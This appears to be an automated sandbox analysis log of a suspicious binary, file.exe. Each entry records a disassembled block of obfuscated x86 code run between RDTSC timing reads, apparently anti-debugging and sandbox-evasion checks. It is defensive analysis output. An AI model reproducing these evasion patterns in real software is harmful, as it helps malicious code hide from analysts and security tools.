Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055990 second address: 10559B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF40431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007F72FCF40426h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10575F8 second address: 105760C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007F72FCD84E8Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105760C second address: 10576B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007F72FCF40426h 0x0000000b jmp 00007F72FCF40435h 0x00000010 popad 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F72FCF40428h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d jmp 00007F72FCF40438h 0x00000032 sub edi, dword ptr [ebp+124680D2h] 0x00000038 push 00000000h 0x0000003a call 00007F72FCF4042Ah 0x0000003f jl 00007F72FCF40438h 0x00000045 jmp 00007F72FCF40432h 0x0000004a pop edi 0x0000004b push 00000000h 0x0000004d sub dword ptr [ebp+1245777Dh], ecx 0x00000053 xor edi, 4177F778h 0x00000059 xchg eax, ebx 0x0000005a jnc 00007F72FCF4042Eh 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10576B9 second address: 10576BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10576BD second address: 10576C7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F72FCF40426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10576C7 second address: 10576CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058BBD second address: 1058BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10596AE second address: 10596B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10596B3 second address: 10596CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCF40435h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1059775 second address: 105977F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72FCD84E86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B64C second address: 105B652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B652 second address: 105B656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B656 second address: 105B662 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B662 second address: 105B671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F72FCD84E86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1059489 second address: 1059490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F0A8 second address: 105F0BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCD84E93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F0BF second address: 105F0C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F0C6 second address: 105F0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007F72FCD84E8Eh 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060041 second address: 1060047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E1E3 second address: 105E1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060F60 second address: 1060F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F72FCCFD2F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060F71 second address: 1060F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10601FF second address: 1060203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10602D7 second address: 10602E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10652D3 second address: 10652DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F72FCCFD2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10652DD second address: 10652E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10652E1 second address: 106536B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F72FCCFD306h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F72FCCFD2F8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D301Bh] 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 call 00007F72FCCFD303h 0x00000037 mov eax, dword ptr [ebp+122D388Eh] 0x0000003d pop edi 0x0000003e or ebx, dword ptr [ebp+12460A20h] 0x00000044 popad 0x00000045 jmp 00007F72FCCFD2FEh 0x0000004a push 00000000h 0x0000004c sub dword ptr [ebp+122DB973h], edx 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jbe 00007F72FCCFD2FCh 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106536B second address: 106536F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061143 second address: 1061167 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F72FCCFD2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F72FCCFD306h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066481 second address: 10664FF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F72FCF3DBC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F72FCF3DBC8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D3786h] 0x0000002e mov dword ptr [ebp+122D1D7Dh], ecx 0x00000034 push 00000000h 0x00000036 pushad 0x00000037 mov di, dx 0x0000003a add cx, C088h 0x0000003f popad 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F72FCF3DBC8h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 00000015h 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c or ebx, 48615F45h 0x00000062 mov di, 7058h 0x00000066 xchg eax, esi 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b ja 00007F72FCF3DBC6h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10664FF second address: 1066509 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F72FCCFD2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061167 second address: 10611EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F72FCF3DBD2h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D1BBAh], edi 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov ebx, dword ptr [ebp+122D38CAh] 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov ebx, esi 0x00000028 mov eax, dword ptr [ebp+122D0E65h] 0x0000002e mov dword ptr [ebp+122D2DACh], eax 0x00000034 and di, E200h 0x00000039 push FFFFFFFFh 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F72FCF3DBC8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 nop 0x00000056 jno 00007F72FCF3DBDCh 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10611EF second address: 10611F9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F72FCCFD2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067456 second address: 106749C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d mov bx, di 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F72FCF3DBC8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c xchg eax, esi 0x0000002d pushad 0x0000002e ja 00007F72FCF3DBC8h 0x00000034 pushad 0x00000035 js 00007F72FCF3DBC6h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10655C3 second address: 10655E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F72FCCFD309h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10655E5 second address: 10655EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063463 second address: 106346A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068332 second address: 1068341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F72FCF3DBC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064413 second address: 1064417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064417 second address: 1064425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F72FCF3DBC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064425 second address: 1064437 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F72FCCFD2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069360 second address: 1069365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064437 second address: 106443D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069365 second address: 10693B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a stc 0x0000000b push 00000000h 0x0000000d mov bx, D514h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F72FCF3DBC8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 jmp 00007F72FCF3DBD9h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10693B4 second address: 10693BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B355 second address: 106B35A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B35A second address: 106B3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F72FCCFD2F8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov ebx, dword ptr [ebp+122D1C28h] 0x0000002a push 00000000h 0x0000002c mov bx, E6BDh 0x00000030 push 00000000h 0x00000032 jnc 00007F72FCCFD2F6h 0x00000038 xchg eax, esi 0x00000039 jnp 00007F72FCCFD311h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F72FCCFD2FAh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B3C5 second address: 106B3DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF3DBD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C29F second address: 106C2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F72FCCFD2FFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C2B8 second address: 106C2C2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F72FCF3DBC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10676B3 second address: 10676BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10694C7 second address: 10694EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F72FCF3DBD7h 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F72FCF3DBC6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10694EF second address: 10694F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A554 second address: 106A558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10695BA second address: 10695C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B671 second address: 106B690 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72FCF3DBC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F72FCF3DBCFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B690 second address: 106B696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B696 second address: 106B69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D475 second address: 106D48C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCCFD303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D48C second address: 106D491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D491 second address: 106D497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10708B2 second address: 10708B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10708B8 second address: 10708C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F72FCCFD2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10708C2 second address: 10708C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015E0B second address: 1015E26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72FCCFD306h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10770DD second address: 10770E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077367 second address: 107736B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10774C7 second address: 10774CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10774CB second address: 10774E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72FCCFD304h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10774E5 second address: 10774F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F72FCF3DBC6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AA52 second address: 107AA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AB38 second address: EA1B53 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72FCF3DBC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 4461E9FCh 0x00000012 pushad 0x00000013 adc esi, 266133F3h 0x00000019 jnl 00007F72FCF3DBC8h 0x0000001f popad 0x00000020 push dword ptr [ebp+122D00DDh] 0x00000026 stc 0x00000027 call dword ptr [ebp+122D2CD4h] 0x0000002d pushad 0x0000002e sub dword ptr [ebp+122D1C0Dh], ecx 0x00000034 xor eax, eax 0x00000036 jng 00007F72FCF3DBCCh 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 pushad 0x00000041 or dword ptr [ebp+122D300Fh], eax 0x00000047 js 00007F72FCF3DBCCh 0x0000004d add edx, dword ptr [ebp+122D39BEh] 0x00000053 popad 0x00000054 mov dword ptr [ebp+122D38DEh], eax 0x0000005a mov dword ptr [ebp+122D300Fh], edi 0x00000060 mov esi, 0000003Ch 0x00000065 jmp 00007F72FCF3DBD3h 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e mov dword ptr [ebp+122D1C0Dh], edx 0x00000074 lodsw 0x00000076 jl 00007F72FCF3DBDCh 0x0000007c jnp 00007F72FCF3DBD6h 0x00000082 jmp 00007F72FCF3DBD0h 0x00000087 add eax, dword ptr [esp+24h] 0x0000008b jmp 00007F72FCF3DBCCh 0x00000090 mov ebx, dword ptr [esp+24h] 0x00000094 pushad 0x00000095 push edi 0x00000096 or dx, D741h 0x0000009b pop ebx 0x0000009c mov eax, dword ptr [ebp+122D38B2h] 0x000000a2 popad 0x000000a3 nop 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 push ecx 0x000000a7 jp 00007F72FCF3DBC6h 0x000000ad pop ecx 0x000000ae rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108171A second address: 1081720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108047C second address: 108049A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F72FCF3DBD9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108144B second address: 108144F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085ABB second address: 1085AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084992 second address: 10849C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCCFD304h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F72FCCFD300h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10849C1 second address: 10849D1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F72FCF3DBCCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10849D1 second address: 1084A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F72FCCFD30Bh 0x0000000a jmp 00007F72FCCFD305h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F72FCCFD308h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BE8B second address: 105BE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
